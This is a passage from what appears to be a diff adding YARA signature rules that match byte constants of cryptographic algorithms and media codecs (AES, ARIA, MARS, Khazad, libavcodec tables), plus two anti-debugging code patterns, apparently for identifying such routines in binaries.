80f0000b0030000c2d80000e86f0100349e0200683c0500725e0b0070e9190048fc3b00b01b0a00b90e39007c54b8005616f0011c74be00c500f402203e4f0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000030000002500000039000000e4000000d40700007c3700002c3b0000ee130000d68303000a220600725e0b00e4bc160054a630009ca26c004cbef60005cd2f008121e800d737d802f3ab9607b8ac8a0200000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000200000017000000d0010000b4060000881e00000416000030d100001ee50000f4680000fe8a0e0070e9190054a63000a84c610044efcd0090adc401957af403169cdc00edd3b403e07f4b0b0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000100000008000000580100000c0400009412000098680000c8390000e61e0300da870300d812020048fc3b009ca26c0044efcd0088de9b01188c6003ad065507c3a23100b076e603000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000078000000d0000000dc00000070030000082c0000d0650100b6840000900c0c00681f0e00b01b0a004cbef60090adc401188c60033018c106dd1e160ea0c1471e00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000f0000006700000037000000130d0000833000008bdc00005b42000011c70400a1d3000009f32e00b90e390005cd2f00957af403ad065507dd1e160e00000000 }
+
+condition:
+	$a0
+}
+
+	
+rule AES_Rijndael_Logtable__8_byt_256_
+{
+strings:
+	$a0 = { 0000190132021ac64bc71b6833eedf036404e00e348d81ef4c7108c8f8691cc17dc21db5f9b9276a4de4a6729ac90978652f8a05210fe12412f082453593da8e968fdbbd36d0ce94135cd2f14046833866ddfd30bf068b62b325e298228891107e6e48c3a3b61e423a6b2854fa853dba2b790a159b9f5eca4ed4ace5f373a757af58a850f4ead6744faee9d5e7e6ade82cd7757aeb160bf559cb5fb09ca951a07f0cf66f17c449ecd8431f2da4767bb7ccbb3e5afb60b1863b52a16caa55299d97b2879061bedcfcbc95cfcd373f5bd15339843c41a26d47142a9e5d56f2d3ab441192d923202e89b47cb8267799e3a5674aeddec531fe180d638c80c0f77007 }
+
+condition:
+	$a0
+}
+
+	
+rule anti_debug__Obfuscated_RDTSC__8_byt_24_
+{
+strings:
+	$a0 = { 5b8bcc83c1048bf483c610556a01536a026a03b82032977c }
+
+condition:
+	$a0
+}
+
+	
+rule libavcodec_COOK_envelope_quant_index_huffcodes__16_big_624_
+{
+strings:
+	$a0 = { 0006003e001c001d000700080009000a000b000c000000010002000d001e007e00fe01fe07fc07fd0ffc0ffd0ffe0fff03fe00fe003e001c001d000c000000010002000300040005000d001e007e01fe07fe0ffe1ffe7ffc7ffd7ffefffeffff0ffe03fe00fe003e001c0006000700080009000a000b000000010002000c000d001d001e007e01fe07fe1ffe3ffe3fff1ffc03fe01fc01fd007c007d001c001d000a00000001000200030004000b000c000d001e007e01fe07fe1ffd1ffe1fff0ffe1ffe03fe00fe003c003d001a001b000a000b00000001000200030004000c001c001d003e007e01fe07fe3ffe3fff0ffe07fe01fe00fc00fd007c001c000a000b00000001000200030004000c000d001d001e007d00fe03fe1ffe3ffe3fff7ffcfffc7ffd0ffe03fe00fe003e001c000c00020003000400000005000d001d001e007e01fe07fe1ffefffdfffeffff3ffc3ffd07fe03fe01fc007c007d001c001d000c00020003000000040005000d001e007e01fd01fe0ffe3ffe7ffe7fff01fc01fd01fe00fc007c003c001c000c000000010002000300040005000d001d003d007d00fd03fe07fe0ffe1ffe1fff3ffc0ffe03fe00fc003c003d001c000c000000010002000300040005000d001d003e00fd00fe01fe07fe3ffd3ffe3fff1ffe03fe01fc00fc003c003d001c000a000b000c0002000300000004000d001d003e00fd01fd01fe07fe0ffe3ffe3ffffffc1ffe0ffe07fe01fe003e001c001d000a000b000c0002000000030004000d001e007e00fe03fe3ffefffdfffeffff1ffc3ffa3ffb3ffc03fe00fe007c007d001c000c00020003000000040005000d001d001e007e01fe07fe3ffd3ffe3fff }
+
+condition:
+	$a0
+}
+
+	
+rule libavcodec_wp_log2_table__8_byt_256_
+{
+strings:
+	$a0 = { 000103040607090a0b0d0e10111214151618191a1c1d1e20212224252628292a2c2d2e2f31323334363738393b3c3d3e3f41424344454748494a4b4d4e4f5051525455565758595a5c5d5e5f6061626364666768696a6b6c6d6e6f7071727475767778797a7b7c7d7e7f808182838485868788898a8b8c8d8e8f909192939495969798999a9b9b9c9d9e9fa0a1a2a3a4a5a6a7a8a9a9aaabacadaeafb0b1b2b2b3b4b5b6b7b8b9b9babbbcbdbebfc0c0c1c2c3c4c5c6c6c7c8c9cacbcbcccdcecfd0d0d1d2d3d4d4d5d6d7d8d8d9dadbdcdcdddedfe0e0e1e2e3e4e4e5e6e7e7e8e9eaeaebecedeeeeeff0f1f1f2f3f4f4f5f6f7f7f8f9f9fafbfcfcfdfeffff }
+
+condition:
+	$a0
+}
+
+	
+rule ARIA_encryption_X2__8_byt_256_
+{
+strings:
+	$a0 = { 3068991b87b921785039dbe17209623c3e7e5e8ef1a0cca32a1dfbb6d620c48d8165f589cb9d77c657435617d4401a4dc0636ce3b7c8646a53aa38980cf49bed7f2276afdd3a0b58678806c3350d018b8cc2e65f02247593661ee5e254d810ce7ae8082c129732abb4270a23dfefcad9b8fadc316bd1ad1949bd5196eee4a841daffcd558636be6152f8bb0e8248699ae0479e5c044b34157926a7de29ae92d784e9d2ba5df3c5b0bfa43b7144462bfceb6fd5f614fe7c705a7dfd2f188316a5911f059574a9c15b4a856d13074f4e45b20fc91ca6bcec73907bcf598fa1f92df2b10094379fd02e9c6e283f80f03dd3258ab5e742b3c7eaf74c113303a2ac60 }
+
+condition:
+	$a0
+}
+
+	
+rule MPEG_2_NBC_sfb_96_128_and_sfb_64_128__avcodec___faad___32_lil_48_
+{
+strings:
+	$a0 = { 04000000080000000c000000100000001400000018000000200000002800000030000000400000005c00000080000000 }
+
+condition:
+	$a0
+}
+
+	
+rule LZSS__N_4096__F_18__T_2___32_lil_AND_
+{
+strings:
+	$a0 = { ee0f0000[0-20]f0000000[0-20]ff0f0000[0-20]ff0f0000 }
+
+condition:
+	$a0
+}
+
+	
+rule khazad_V0__32_big_1024_
+{
+strings:
+	$a0 = { bbb96a01e59a66b1e26514cd25871b51f7a257a4d0d6be03d6deb504b35285fefdba4aadcf09e063091c9684a5914d1a3da7374df1aa5ca37ba417e1b55a8ef9460320acc4e6841155cc68c2dcc6a80daa85d099fbb241aac7e20f9cf359ae55febec120ad7aa2e5d729cc7f71bc0ae8e096e63bac8ddb9e95d1152232b3aace704b739363843bfd41fc52d07dac1ce676437894bdb161069b32f1da7957e517f941b35c8016564b677fc20c59dc7ecce1619f4010cbc3e381e12f300c10160e922e675ea26e3f664ee8cf5378a09c6cb0560e73573f9a34e69eed3cd3d2358edfc22380f2aed72e13cf486e94266c591fdf5e60c1ea049b7547f319d5da3e8908ebefffd42d47f238abb7c7543b11b94a1336a2699c26f47f5fee1003048b8d56c8e34fe76994471ad3deea113cba982278692d12383115c511fd6a208b9bdb304058387ea8976b2e687f2318202c1c06080b074507ab21f8b6ca2729970d5f0bef6472f4a6dc298ef5b2b374b08a6282e5a4bdb2a5fc85734ff81e90dd95a8b1a1770837bf2a444c1b3da5beb5ea8be3926db63baf3c4a07ff727c0f149d8331b721431734b19f0ee3e4f8fc4d33d684edafbad9ca2887d2254cf5890ac0cf28607424430fa0266d67df055b2f8c3a0a181d09bc46187def827bb8cefe9918ec86f035cdfa1295ea8efb324917bd2fc8f6921f9ccd83a68a0e4b4288fdb9b4268390dc53c463c5f551a55277b401ef52331abeb7a97c0fa876226fc319f66d6b6fd402a762bfecdd31d176d121c7784f1fb6283c504e368f02cbc816c3c8e499c1032ccc0d6bee647b49815e230cb0a399461dfa4538d1217ce2a06c90a67e2d6cf4ae5ad8f5412470622aca0560e904fbf9f18312ddc6c61576e79e3e7150ab72a9e2e87d09c42c9b8dd56e63548893d91e25f05d25d872b881652b64ffa95cd0fe461d2cac963ea3bcc01b24a7913648533f8c064045354cd8b2b94a98f77c5b659de46d1fca627342867a536e9a400b2bab47f459d7ff49b85b44f0d25a395ccebc5d27873d00000000de355afb02f3f2f61cdbd5ed5fd475cb3a584531686b5f8f238f1056582b07b7b8bde18ca695c697c2ee8f16dacea30a3344d3b519d75567c901eb6434bba1c9f6552edfa09dcd909ac588a1658c30fa2a9386d2ae7e29686a98ad7914303a121e28271ba46634616688bb772f9f065815c7436901f7797b0de76f75b4adf78248e0c45496d59eafcbf2199250c0e848e98a70bf8df1393e87e92437d83d51fcc01d7de08bf932394be44fd9ed71894eba4e137a851ad6c1513791336080b0709fc9082b3f54c5bb9722e7d44dec44deb65e0574a16ab4eba9815b14050c808aee7502c3af8950136f942df36177c90b9d3afadd98367a57eb7982492774e9a7bf4293f042f8d95d861e5d4cdb39da71912aecd3 }
+
+condition:
+	$a0
+}
+
+	
+rule lpc_encode_rmst_table__32_big_256_
+{
+strings:
+	$a0 = { 00000400000003a80000035800000310000002ce000002900000025800000226000001f6000001cc000001a4000001800000016000000148000001260000010e000000f6000000e2000000ce000000bc000000ac0000009e0000009000000084000000780000006e000000660000005c000000540000004e00000046000000400000003c00000036000000320000002e0000002a0000002600000022000000200000001e0000001a0000001800000016000000140000001200000011000000100000000f0000000e0000000d0000000c0000000b0000000a00000009000000080000000700000006000000050000000400000003000000020000000100000000 }
+
+condition:
+	$a0
+}
+
+	
+rule libavformat_wc3_pal_lookup__8_byt_256_
+{
+strings:
+	$a0 = { 00030507090b0d0e101213151618191a1c1d1f20212324252728292a2c2d2e2f31323334353638393a3b3c3d3f4041424344454648494a4b4c4d4e4f5051525354565758595a5b5c5d5e5f606162636465666768696a6b6c6d6e6f707172737475767778797a7b7c7d7d7e7f808182838485868788898a8b8c8d8d8e8f90919293949596979899999a9b9c9d9e9fa0a1a2a2a3a4a5a6a7a8a9aaaaabacadaeafb0b1b2b2b3b4b5b6b7b8b9b9babbbcbdbebfbfc0c1c2c3c4c5c5c6c7c8c9cacbcbcccdcecfd0d0d1d2d3d4d5d5d6d7d8d9dadadbdcdddedfdfe0e1e2e3e4e4e5e6e7e8e9e9eaebecededeeeff0f1f1f2f3f4f5f6f6f7f8f9fafafbfcfdfdfdfd }
+
+condition:
+	$a0
+}
+
+	
+rule Noekeon_Nessie_round__32_big_68_
+{
+strings:
+	$a0 = { 000000800000001b000000360000006c000000d8000000ab0000004d0000009a0000002f0000005e000000bc00000063000000c600000097000000350000006a000000d4 }
+
+condition:
+	$a0
+}
+
+	
+rule TNS_filter_tnsMaxBands__combined___8_byt_64_
+{
+strings:
+	$a0 = { 1f091c071f091c07220a1b07280e1a062a0e1a06330e1a062e0e1d072e0e1d072a0e17082a0e17082a0e1708270e130700000000000000000000000000000000 }
+
+condition:
+	$a0
+}
+
+	
+rule psymodel_table1__flt64___64_lil_200_
+{
+strings:
+	$a0 = { 000000401e1b2640000000605df92440000000006de6234000000060aa0c2240000000e0f85e204000000040252d1c40000000605f3f184000000020dbdd14400000008003f5114000000080f9e70e40000000a0ca980a400000006067e30640000000c064b2034000000080f4340140000000001710fe3f000000600279fb3f000000e00f1bf93f000000e01c4af73f00000080e29af53f000000807358f43f00000000c028f33f00000020a42df23f000000006c3ff13f000000a0b59cf03f000000000000f03f }
+
+condition:
+	$a0
+}
+
+	
+rule anti_debug__CheckForSoftICEBP__8_byt_18_
+{
+strings:
+	$a0 = { 561e0e1f8b76028b3689f025ff0000003ccc }
+
+condition:
+	$a0
+}
+
+	
+rule libavcodec_dcahuff_scales_codes__16_lil_1290_
+{
+strings:
+	$a0 = { b03ab23ab43ab63ab83aba3abc3abe3ac03ac23ac43ac63ac83aca3acc3ace3ad03ad23ad43ad63ad83ada3adc3ade3ae03ae23ae43ae63ae83aea3aec3aee3af03af23af43af63af83afa3afc3afe3a400542054405460548054a054c054e0558055e05ad0254015407a80356002800e8004a000b003b00130003000f00050001000600000008001c00040024004b00e90029005700a90355075501ae025f0559054f054d054b0549054705450543054105ff3afd3afb3af93af73af53af33af13aef3aed3aeb3ae93ae73ae53ae33ae13adf3add3adb3ad93ad73ad53ad33ad13acf3acd3acb3ac93ac73ac53ac33ac13abf3abd3abb3ab93ab73ab53ab33ab13a600f620f640f660f680f6a0f6c0f6e0f700f720f740f760f780f7a0f7c0f7e0f800f820f840f860f880f8a0f8c0f8e0f900f920f940f960f980f9a0f9c0f9e0fa00fa20fa40fa60fa80faa0fac0fae0fb00fb20fb40fb60fb80fba0fbc0fbe0fa007a207d203ea01fc007f001c000c000400340010001b0009000b000e000100030002000f000c000a0000001100350005000d001d003c00fd00eb01d303a307a107bf0fbd0fbb0fb90fb70fb50fb30fb10faf0fad0fab0fa90fa70fa50fa30fa10f9f0f9d0f9b0f990f970f950f930f910f8f0f8d0f8b0f890f870f850f830f810f7f0f7d0f7b0f790f770f750f730f710f6f0f6d0f6b0f690f670f650f630f610fd051d251d451d651d851da51dc51de51e051e251e451e651e851ea51ec51ee51f051f251f451f651f851fa51fc51fe51c070c270c470c670c870ca70cc70ce70ec70ea10683877387608351c3404340a1b0e1b021b050f070f01800380004001c1014100a100e20022005200720012002a003a000a0016001e0006000c000000040001000d0007001f0017000b003b002b001300730053002300e300a2004200c2014101810081038c020c011c051c021c0e350a35043a1c770874086938eb10ed70cf70cd70cb70c970c770c570c370c170ff51fd51fb51f951f751f551f351f151ef51ed51eb51e951e751e551e351e151df51dd51db51d951d751d551d351d151646f666f686f6a6f6c6f6e6f706f726f746f766f786f7a6f7c6f7e6f806f826f846f866f886f8a6f8c6f8e6f906f926f946f966f986f9a6f9c6f9e6fa06fa26fa46fa66fa86faa6fac6fae6fb06fb26fb46fb66fb417dc37db0bef1bee05f80df802fd067d017f03bf004000c00021006100110031000900190006000e000400000005000f0007001a000a00360016006e002e00c1004100bc01bc007a037a01f902f90def05ec05d81bdd37b517b76fb56fb36fb16faf6fad6fab6fa96fa76fa56fa36fa16f9f6f9d6f9b6f996f976f956f936f916f8f6f8d6f8b6f896f876f856f836f816f7f6f7d6f7b6f796f776f756f736f716f6f6f6d6f6b6f696f676f656f54df56dfc8dfcadfccdfcedfd0dfd2dfd4dfd6dfd8dfdadfdcdfdedfe0dfe2dfe80fea2fa86ff66ff507f707d237f937f803f80bfb0beb1bfa01fa05fa09fa0dff0dff00ff02fb067c007c017c027f023c00bc003c01bc011c005c009c00dc000c002c004c006c00040014002400340000000800100018001e00020006000a000e000b00070003001f00190011000900010035002500150005006d004d002d000d00dd009d005d001d00bd013d01bd003d007c037d027d017d00fc06fc04fc02fc00fb0dfb09fb05fb01f81be81bf90bf903fa37d337f417f607f76fa96feb2fe90fe3dfe1dfdfdfdddfdbdfd9dfd7dfd5dfd3dfd1dfcfdfcddfcbdfc9df57df55df }
+
+condition:
+	$a0
+}
+
+	
+rule G_711_A__to_u_law_conversions__80_80___8_byt_128_
+{
+strings:
+	$a0 = { 01030507090b0d0f101112131415161718191a1b1c1d1e1f20202121222223232425262728292a2b2c2d2e2f3030313132333435363738393a3b3c3d3e3f40404142434445464748494a4b4c4d4e4f50505152535455565758595a5b5c5d5e5f606162636465666768696a6b6c6d6e6f707172737475767778797a7b7c7d7e7f }
+
+condition:
+	$a0
+}
+
+	
+rule Safer_log_tab__8_byt_256_
+{
+strings:
+	$a0 = { 8000b00960efb9fd10129fe469baadf8c038c2654f0694fc19de6a1b5d4ea88270ede8ec72b315c3ffabb6474401ac25c9fa8e411a21cbd30d6efe2658da320f20a99d8498059cbb228c63e7c5e173c6af245b876627f757f496b1b75c8bd55479dfaaf63ea3f111caf5d1177b9383bcbd521eebaeccd63508c88ab4e2cdbfd9d050593f4d62340a4888b5564c2e6b9ed23d3c0313fb9751754a917123be762a5ff9d4550bdc37311674d777a7e607dba42f46f3614567e30ca23b1c8518041d29a08fb25ad8a67eee8d534ba19ac10e7a49a52c81c4c7362b7f439533f26c686df00228cedd9bea5e997c1486cfe542b840782d3ae9641f92907d396fe08930 }
+
+condition:
+	$a0
+}
+
+	
+rule libfaad2_pan_pow_2_30_pos__flt32___32_lil_160_
+{
+strings:
+	$a0 = { 0000803f0000803f0000803f0000803f0000803fff7d803fff7d803f7afc803f7afc803f7afc803f7afc803f7afc803fe6fa813fd87a823fd87a823f727b813fe6fa813f48fb823f907f843ffd01853fe6fa813f48fb823f907f843f478c863f9795873fd87a823fa4fd833f478c863f8427893f19be8a3f48fb823fea84853f07a1883fc3cf8b3f31858e3fa4fd833fa310873f19be8a3f31858e3f9d66923f }
+
+condition:
+	$a0
+}
+
+	
+rule Boucher_randgen5__32_big_AND_
+{
+strings:
+	$a0 = { 0000015d[0-20]000003b9[0-20]00000259[0-20]000002ef[0-20]0000022d[0-20]00000377 }
+
+condition:
+	$a0
+}
+
+	
+rule sfb_16_1024__16_lil_86_
+{
+strings:
+	$a0 = { 08001000180020002800300038004000480050005800640070007c0088009400a000ac00b800c400d400e400f400040118012c014001580170018c01a801c801ec0114023c0268029802cc02040340038003c0030004 }
+
+condition:
+	$a0
+}
+
+	
+rule Iraqi_block_cipher_chaos1__8_byt_256_
+{
+strings:
+	$a0 = { ad54f0430135fe2429ac736ddfc798bd5a2e95c1da82fa28cb0423edecf6d58fa9b030173dce4522619b046db7dc2a40157b1de9fd69b7d101bf710c2e0708b7a6c7a6074e2587fcae548ca4985e16b93b44b53cb04333191cbe8ac62c5a5cdd95afba1931d232ed29cf1fe27279e60f3a198e3a62e83b03bd1c087483b94efaef2174ad5e2d683e7ab31296f6fa11084f9de1ee2f0a853a087e5244998d029ecc3282353b20f3a0ac23186b2373e48f1ce04d37191c7859ba98315475b41e8a864db69d3de61695360f6e20d59b6a4e1017598c9ea96088ba681ec74323da9fd26d1cee2196adb4f7c9539669a4e43bcf65dd633478c71f0690cad7d1312ac3 }
+
+condition:
+	$a0
+}
+
+	
+rule Speed_Challenge_network_encryption_decryption_algorithm_X4d468c__8_byt_47_
+{
+strings:
+	$a0 = { f1b2cd0e16a85f2cc7f215691709c220a182c38f3b5646542ffb3dd05894e2ea5ccd80c7ef9e3b91c4bbbc3baec601 }
+
+condition:
+	$a0
+}
+
+	
+rule MARS_Sbox__32_lil_2048_
+{
+strings:
+	$a0 = { 79c4d009e0ffc828396caa848772ad9de39bff7d618326d4d4a16dc993cc74792e58d08505574b2a626aa11c9d27bdc3e5251f0f2f376051fbc195c6e4f17f4df46b5fae46ee720d8ade23ff838ecfb1e20249f1421e983eb63ef58bacf84b7f831f63830502972584e7af76d431793a5064844ff6c3645c185f0a21266a98c626e8f4281ca8603a64a640d3c420a87ec58766522bd1dd7e1d1da13286f09e9c31e8f680ad046fab539bfb565c092e8bae5685b60d0b25d221774a2953b21fe2496713ae86ae2ae804513693664a4099dc84a7784ba89bb6936704041e5cdb23d6e1ca463481e22f4239225a5bcd6318e3c690c146b8df071688b86e4acc0d2d59aecca40d6798379394facb451d484fa88cfcead62911db209e44b0fb07540fa8d967616357f4d1c396aa4d5859ec3b14a0abab01d2ccb69f27d63815226802d56c378f7e232c099365c5bf2c9d8832953e4b85439bbb05cd5dcd7d6c922ea0e527e5fa30c3a136aee1123462f457f2711d4f3c09e8a23051f5e56844ba619cb80aed5dc809ce753ef95496ca0c8c69e4b33c24972b062b9e8d3b0fdf50e00066615dfc88925fe30d5579c0e8ae9105741e538e7835fe759a826d2fae210bf68debe8956b4899669b7d1d90316e6dfdefac9010d80d67e092e6b2da65436dcd143539e5f045f33a4dfc4162a3a30d462937cf7be0d1f18b70c0aa1455ed87153e7dfd3a019ef2d2f6d1a929530cb1ef0f873bcf5c9314b4ed654466c7ca4a02c144a759a736291da60a58dca84c57cf107a0a040718d86c4cbe988a63a0ceacb5923ec33de0e0d17e5122b313bd92204a2c6b3858dde852fb6d655871038250961881417eef37e319b19fd3f60d7fc91ba0fe68e5a650a1628925551bf46feb7acdc9d79ecd19a67695f0bc73c072263cfb03f00ba5b74a6a128414b1a97b48c6c94fa6497d95f6756ab038cd5f80ddcf94d0639e991cf543d3a41a945249b8998e9fce70d7fcbfcc75c2c7a753843733be217bbd417f3931d1944e981fcc9251ea1559b761f899880a98c95ffd741df895a4b0d0ee4d61ea8e77b52d794159f8c190fab424f833725396c450d5f63fc0fea54c64e93086d6bb3f5b486aa27d1a2303b2147529040693632d4931b12e7252a416a059245372485f8ed9c766f9c08d120762db440d2dd5c8af31613106cee738d8001dc41b0f8c2e3a7e8383ea7d7384b99148ba1349b9f8c4b3acd6a6cecd15a28b83598331aad16b52dd79f5933fb921816717f5defd7d1876eb4ae954fd382bdae11d43254839ab8f04d39aaa32eadfe373946563783f62596c34f385b63aab0ba946333e44566bf801dec6c01f428d0cd10e9be9a1f18829f0c1547bd5ea7d26a47b8d8a17f54cca7c1a55085f9a1ab951d6fc82516025c3c61fe17696fdb627307b3314ebc8b730d05f9e54e3576bf73c91ad8d68167e692a8758dfc72f2cc6cc89e3f18d733034a724088b7a79e17bd5a8a43b195d5b9b30a8c878a9f973328d39733e57590f032bdfe9c8b6a5e804078d84c293df98c31d0a729a254f6848a83b94520137a6a35e3b868b977bd1ef589b6dd40d700abf363da729086a8e14bc958647345be368c53a9322b09488271c512f3cccfbddb6626600fe837c1114b4124e66a7bcc210ec2f3a202456f42a2e795557d8f546ce25dace3b1d60c346ab006c289cacef4750c3b3e3fe1d6107327c258284d5fd4fd8143b64cbbe23a3f375a0ad8e8f0858f1ad073c9496773dbfcafacd3097c0699967f7ede944da124c852ca35f93359f7d052ff8240669fdbab01cc6bd0d7bbb230f811a9a92fa179a966d9b974267057dac74c4650e0163d9a386a0b507f9d32b04d0037d8d1555827a286f36a8bb33dc6e097b6a9121866bb577f922169550e6c5a6d117ea8cbc628ccd3334d6a3fd688a353c9d9b0f5b29aad64a3833fe8e7300c02feb67cdc26debe2028b339746f2c906adf19c4145c0832b8af1233789305bcbd7ea0b165646495d4ba7f8359e6c4e1ebd99030080684667314817b4b223f4acb35a81cae795635ac5672a306b44db8ba48f8f10da3e22108bb4b892eed0387fd40127ab15d46202304a22afba8ad8b3afc3b2f870eff7dab7d397cc6c4b61e9f4bfae2bcf87f67056916c38e52e09cea67de8016a1ee96c84cc7bbb202c92c7fd713b9dc6410e06150f59d747bb034e8e193c1840b2ee639af4db2d54ba5c6daf5037923642e1f92b163878726c72596067b681c12629bb0dcea0486d49c0a67b5043ad6a498d71af57f09de6bdb144dc56430535ed7cde8b131ad5c98c086211038335a2fc6ec9ec866f6868cb778eb8d6e16378970fc8fd91c479f2674c1b7d8d6972318c365e2e5ed9f73f49d3a13e43d9dc52156f897acac44bf4bad1a6cc6da9a5468bef0ba7fd69a1b740df740488204e0766759ac8878e03441e2120bfd47a8b353f40c66de3481838b0bd801c89621e07213d64f8d604bf8c2c092189f344f64e407807b8ad787b532dc5a2be7a15422e3e25a2aef4f37bf994f580e7943195ed92eb77306981b336938dda697444bf83946df2d5ae6fee35123771735f42de439fe5b44e2dbe7d85b1372d639adc49989dc398a2c90113bf1b9b388d58180cbac121a45c86a37a5885e071aafc5c3ca49c237dddd997023028dcd72b80374b54ab28744703eeae85bb3f4b082f2f698e574e13bfe0d936cf5f8baecf3eb9ed8e24272befb10e17d67fc57d160f761e016613b19b1b4e861973ead7bd71b83a6fd7a4cf82d71be369b4be0d6160b9ab5df87053377eb0fffbd030dab677c9eb0fb4980be60f4d3a6bc24fdf2af29c15e2d698c26aef782bc04aa961871156abf0a0ee1464410ddfee70af19 }
+
+condition:
+	$a0
+}
+
+	
+rule liba52_fftorder__8_byt_128_
+{
+strings:
+	$a0 = { 008040c020a0e060109050d0f07030b0088848c828a8e868f87838b81898d858048444c424a4e464149454d4f47434b4fc7c3cbc1c9cdc5c0c8c4cccec6c2cac028242c222a2e262129252d2f27232b20a8a4aca2aaaea6afa7a3aba1a9ada5afe7e3ebe1e9ede5e0e8e4eceee6e2eae068646c626a6e666f67636b61696d656 }
+
+condition:
+	$a0
+}
+
+	
+rule libavcodec_qcelp_lspvq5__16_big_256_
+{
+strings:
+	$a0 = { 016800de033404490259013f067800c6025c02010610008d056f009b09aa0105010d031105b70286046300bf07df00df0311034c04b203f303d403270bc60319023a00b4046f0566030a0100076d00b30327026e05b501ca04cf00b207ec03350183039f05d803ec0378018808c60155012705b6048402b603fe01d908b2055400d201de040503fc02d200b506c200fb02da01e805b90125051701460a23018301ca0248062102e6040500ad077601ef025d048704f402cf03cd02860b3801ac01bb014e034305b90390008a06b401ba026c030a052401c204a2014f05a6068101e6041a068b03fb0370011608a600ca021b061c0476021503d8018708520441 }
+
+condition:
+	$a0
+}
+
+	
+rule t_class_32_mid0xC2DB2AA3__32_lil_8188_
+{
+strings:
+	$a0 = { 00000000a08fc34f401f879fe09044d0e55b6b5a45d4a815a544ecc505cb2f8acab7d6b46a3815fb8aa8512b2a2792642fecbdee8f637ea16ff33a71cf7cf93ef10ac80c51850b43b1154f93119a8cdc1451a356b4de6019544e24c9f4c1e7863bbd1eb89b32ddf77ba29927db2d5a68dee675e27e69b6ad9ef9f27d3e763132e2159019429a5356a20a17860285d4c9074efb43a7c1380c47517cdce7debf9328a246ad882d85e268bdc132c832027dcdf92df76d76eeb88de6aa682d696927131f5815b3909b5a5300df8af38f1cc5f644334f56cbf000b65bb4d016d4779fd9a88ea179274dee99b7093e3938ca713cf3e5fb9c7c26b47cec6264dc63a12bc42b203364a4e37c8434a7ac24bb64e321704b6981ff8826616fccf6c1e00fb90e9cf687ae1335c84e837118ee0cb257ebc79ddd4b485e92abd81a420b57d90d3521e83f95ae2b70753e6fa0d5b1acefd07a836570f5402a906504fa30eac7b5ff963e8b5f19fdc4bf89b9141f067a5b1acd55d1ba42969e5ad2d24efa5d1101263eb02a86b17365662137b5c6aef4fac365db7063ea183f837a5cef23f59fa0ec89669e4c06a5d1ac96e1010c19224e09d20dc4a95dce8b49cd8a5be9424914d734782677bbbb69972bffb937a43cf6326f137c92e0d033727094e3d2ff57ac1d83ae92bd0c6ddd5d9c290dfd13ea42f8d8c5c858570687b8c74257184881188857406628d88329c848c7f968c704b66d0c2b3ccd83e8732d13aca38d9c6fec42e096d2e26f559d02ff114da270d202a7bbfd8807343ec7e7a47a17472bb958795d886ad9d24b2539420ff599cdccba9c06e3303c89207fdc1964af7c96a7e0b3ea5ede13659d91f3f5d941537a1a0e56b13584f63ef6cb16aeb21bb62171546a42d07fcacd13302a5d57e08ad294af8f19bb252f96786acf063cba6f89fff5a0f506cb007ac584e0ea81544065421b45ae6d91e521aede05b1ea0ea53e29419b4818733bc7db3cdb579fec7bd85ca37e137329de9cb0663e0cf4b69e8337f951ffcec7f1700d8811e04958b16f8a17b4a4a59d142b66d2f4bb22025434e14d4c7c6055ecf3a31a0c63e7caacec2485a9270b0f09a8c840e9388c9049b74fdf86cbb6e1264475aec6d4317e665bf2316390ddbbc31f1ef4238f5a248300996bbd76a8591df96b16fd692fc65de6ec89582dc303f8a2004c1832449cb8bd87d377c17eedd74ebda237def97297513a3d929a15b73215d6f8d2859228720a5167ae69f04c0ee63303ee7677d34ef9b49c4b329b16ebbd58590b2d1c89aba2dfc664de26f8c451e5b724c1a167844e622881854da2210a8eedc19aca3d611509725f633840ffecfb0f1f7cbfdfbff37c90ba38531a1ab79055fa27d4855aa817ca95d4eef4355b2dbbd5cb696b7544aa24708f85aed00046e130900231901fc17e10af80ccb020438350b00753f03fc41cf5f4eb96557b28d9b5eb6c091564af46da1856787a9795379a07d1e73a8812a83f433d229fccfe6d7f5cbabddfd379f2e1a548c0412a8b8fa1bacf5f01350c1004fe239aa471e0d544e1a405e46e674a2b129e748b9d5d3b6b0d19ebcb82daa4ce49f52e6ec636618e5672b12ed9b1fef2ba10d55235d39ab2a5974a122a540517e17b8fb76eb8c057fefc10f7713f5f380dc6619882052e781241fed89d82b1dd56ad3b7dd96e749d492aa43dc6e9eb03b0d8d9a33f1b9643af5f46e3209c09e6ebb383466470cca6f4341c067bf753c9070e6d6988cd22891889f229974abd2c5c65378cd3a6786c43e2a8cccc21e7d484a0ff740b63b0949b27603414e42f31dfcba5915008ea71c04c3ad14f8f751e33764bbebcb5045e2cf1d4fea3329bfb681d115be7de5ebb779a8e1bf859c1258e68f38501abbc6591ef6cc51e2c23c0d503a9605ac0e680ca843620454779ef39be474fb67d08af2639d80fa9fa970a62d51daaed16524a7d5282eaf291cd369130e6961ef3a9768eb779d6017436d3ca5bbc734598f393d5dc23335a1f6cfc26e6525ca9251dbc3961cd1cb6a282197d8d08b9f24e4759620a97f9edc9d8c79bf8ea67143ba587847f75270bbc3a22c093b0824f50ff62df142fc250d7600d2c2e5eada3ed114d33a9c1edbc6a8ee877450448f8864ba868c29b08e701d498f8c0aa387703e5d8e747357868847a7da3abf0dd2c68bf3dbc2c6f9d33ef20524f161ef2c0d55112509181b2df52ceb7147d44179bbe0bf70bfadb5784399469f208a6c97dcbe929ed8f3989624c768ca963fc2c26a0b3ccb6e4636c39272ca345de1203ca1d5de35a598d43d59ac2461eb548e6917607060132d7a68ef1987aed50b3da6293fc3af2d72c9a7d14639fb63be93f39f8a6dfa9bc767f267f39b05a860710d54548f045019850cac2d75501ed5df58e2e12151e6ac2b591a98d8be798bf2b685bf0cbf81f206b77dc6f6ebcf3e5ce3330aa2ea3747a8e2cb73541504e0be1df8d44014fc994a1c00adba40b25510484e61ee414a2ce449b61815cd3e099fc5c23d61ccc6706bc43a449b9888bc31907488cf9970c5c5918cf139664362d36ebf562d67bb1b276f472fd733f5d77d3b09e383320dae893af19a7add928950d56ebdaedc6af0a4d496c45488243cfe80d8080089dc450a812071f676efe21c7e13d6e277179be87febaf18235957b22ba5634c22a12e462a5d1abbec670801e49b3cffed9f71f5e5634505b9d1bdafb12d8951b829c45bb0d5f0a7471a634d4fe657b346e21ab94e1e2e4912acd6e31a50e21d1354af171ba89be4fccb88cef437bc30fd33f13af5cfc5caa97d3d